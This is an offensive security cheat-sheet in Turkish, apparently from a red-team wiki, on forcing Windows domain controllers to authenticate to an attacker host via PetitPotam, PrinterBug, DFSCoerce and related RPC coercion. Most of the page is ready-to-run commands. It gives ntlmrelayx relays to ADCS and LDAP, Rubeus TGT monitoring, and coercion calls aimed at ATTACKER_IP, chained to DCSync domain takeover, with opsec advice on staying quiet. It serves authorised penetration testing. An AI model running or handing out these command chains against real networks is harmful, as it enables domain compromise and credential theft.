Coercion (PetitPotam / PrinterBug)
ATT&CK T1187 difficulty: kolay-orta
Coercion, bir Windows makinesini (çoğu zaman bir Domain Controller’ı) saldırganın kontrol ettiği bir hosta kimlik doğrulamaya zorlama tekniğidir. Zorlanan makine hesabının NTLM (veya Kerberos) kimliği, ya bir servise relay edilir (ör. ADCS web enrollment — ESC8, LDAP → RBCD) ya da unconstrained delegation ile TGT olarak yakalanır.
Tek başına domain ele geçirme değildir; kimlik kaynağı üretir. Zincirin ikinci ayağı (relay hedefi veya TGT dinleyici) olmadan coerce etmek anlamsızdır.
Ön koşullar
Section titled “Ön koşullar”- Hedef makinede ilgili RPC arayüzü dinliyor (Spooler, EFS, DFS-N…).
- Saldırganın listener’ı hedef tarafından erişilebilir (SMB 445 / HTTP).
- Relay için: hedef protokol imzasız veya signing zorunlu değil; ESC8’de HTTP Web Enrollment; LDAP’ta signing/channel binding durumu kritik.
- Unconstrained yolunda: saldırgan host’un (veya ele geçirilen) hesabı TRUSTED_FOR_DELEGATION ve TGT monitor (Rubeus).
Zorlama vektörleri (RPC arayüzleri)
Section titled “Zorlama vektörleri (RPC arayüzleri)”MS-RPRN (PrinterBug) → Spooler; SpoolSample / printerbug.pyMS-EFSRPC (PetitPotam) → EFS RPC; petitpotam.py / PetitPotam.exeMS-DFSNM (DFSCoerce) → DFS NamespaceMS-FSRVP (ShadowCoerce) → File Server VSS AgentMS-EVEN (EvenSvc) → EventLog (daha nadir)| Araç | Protokol | Kimlik |
|---|---|---|
petitpotam.py | MS-EFSRPC | çoğu ortamda kimlikli; eski unauth |
printerbug.py / SpoolSample | MS-RPRN | domain user yeterli |
dfscoerce.py | MS-DFSNM | kimlikli |
Coercer | hepsini dene | kimlikli / null dene |
dementor.py | MS-RPRN varyant | kimlikli |
Klasik zincirler
Section titled “Klasik zincirler”A) ESC8: coerce DC$ → ntlmrelayx → http://CA/certsrv → DC cert → PKINIT → DCSyncB) LDAP: coerce HOST$ → ntlmrelayx --delegate-access → RBCD on TARGET$ → S4UC) UD: coerce DC$ → unconstrained host → Rubeus monitor → DC$ TGT → DCSyncD) SMB: coerce → relay to SMB (signing kapalı) → secretsdump / file writeKomut üreteci
Section titled “Komut üreteci”Coercion · PetitPotam
embedded toolpetitpotam.py -d domain.local -u user -p Pass123 10.10.10.66 10.10.10.5Coercion · PetitPotam
Section titled “Coercion · PetitPotam”Saldırı akışı
Section titled “Saldırı akışı”-
Dinleyiciyi/relay’i hazırla — önce ikinci ayağı ayağa kaldır:
Terminal window impacket-ntlmrelayx -t http://ca01.domain.local/certsrv/certfnsh.asp \-smb2support --adcs --template DomainControllerTerminal window impacket-ntlmrelayx -t ldap://dc01.domain.local --delegate-access --escalate-user EVIL$Terminal window Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap -
Hedefi zorla — DC veya yüksek değerli sunucuyu saldırgan IP’ye it:
Terminal window petitpotam.py -u user -p 'Pass123' -d domain.local ATTACKER_IP 10.10.10.5Terminal window petitpotam.py ATTACKER_IP 10.10.10.5 # unauth (yama öncesi / bazı build'ler)Terminal window printerbug.py 'domain.local/user:Pass123'@10.10.10.5 ATTACKER_IPTerminal window dfscoerce.py -u user -p 'Pass123' -d domain.local ATTACKER_IP 10.10.10.5Terminal window coercer coerce -u user -p 'Pass123' -d domain.local -t 10.10.10.5 -l ATTACKER_IPTerminal window coercer scan -u user -p 'Pass123' -d domain.local -t 10.10.10.5 -
Kimliği zincirle : ESC8 PFX → certipy auth / gettgtpkinit → DCSync
-
LDAP RBCD → RBCD S4U
-
TGT → Pass-the-Ticket + secretsdump -k
NetExec / ek komutlar
Section titled “NetExec / ek komutlar”nxc smb 10.10.10.5 -u user -p 'Pass123' -M spoolernxc smb 10.10.10.5 -u user -p 'Pass123' -M petitpotam -o LISTENER=ATTACKER_IPnxc smb 10.10.10.5 -u user -p 'Pass123' -M coerce_plus -o LISTENER=ATTACKER_IPWebDAV / HTTP listener nüansı
Section titled “WebDAV / HTTP listener nüansı”Bazı coerce yolları \ATTACKER@80\share veya WebClient servisine ihtiyaç duyar (HTTP auth). Relay tarafında ntlmrelayx HTTP hedefi veya Responder + relay kombinasyonu kullanılır. WebClient kapalıysa SMB listener (\ATTACKER\share) tercih edilir.
petitpotam.py -u user -p pass 'ATTACKER@80/share' DC_IPOpsec (ofansif)
Section titled “Opsec (ofansif)”- Coerce + ESC8, kısa sürede Event ID (certificate request, NTLM) üretir; angajman penceresini netleştir.
- Aynı DC’ye onlarca farklı RPC metodu denemek (Coercer full blast) gürültülü; önce scan , sonra tek çalışan vektör.
- Unconstrained host’ta uzun monitor = bellek/tüketim; /filteruser kullan.
- Relay’de SMB signing zorunlu hedefler başarısız olur — önce nxc smb TARGET –gen-relay-list ile imzasız host listesi çıkar.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- Listener hazır olmadan coerce → kimlik gider, yakalanmaz.
- PetitPotam unauth yamalı ortamlarda fail; kimlikli dene + PrinterBug/DFS.
- Spooler servisi kapalıysa PrinterBug ölür; EFS/DFS dene.
- Kerberos-only / EPA / channel binding ESC8 veya LDAP relay’i kırar.
- Coerce edilen kimlik makine hesabı dır ( DC$ ); kullanıcı şablonu ( User ) ile ESC8 sertifikası işe yaramaz — DomainController / Machine şablonu kullan.
Sonraki adımlar
Section titled “Sonraki adımlar”- ADCS ESC8
- Unconstrained Delegation
- NTLM Relay
- RBCD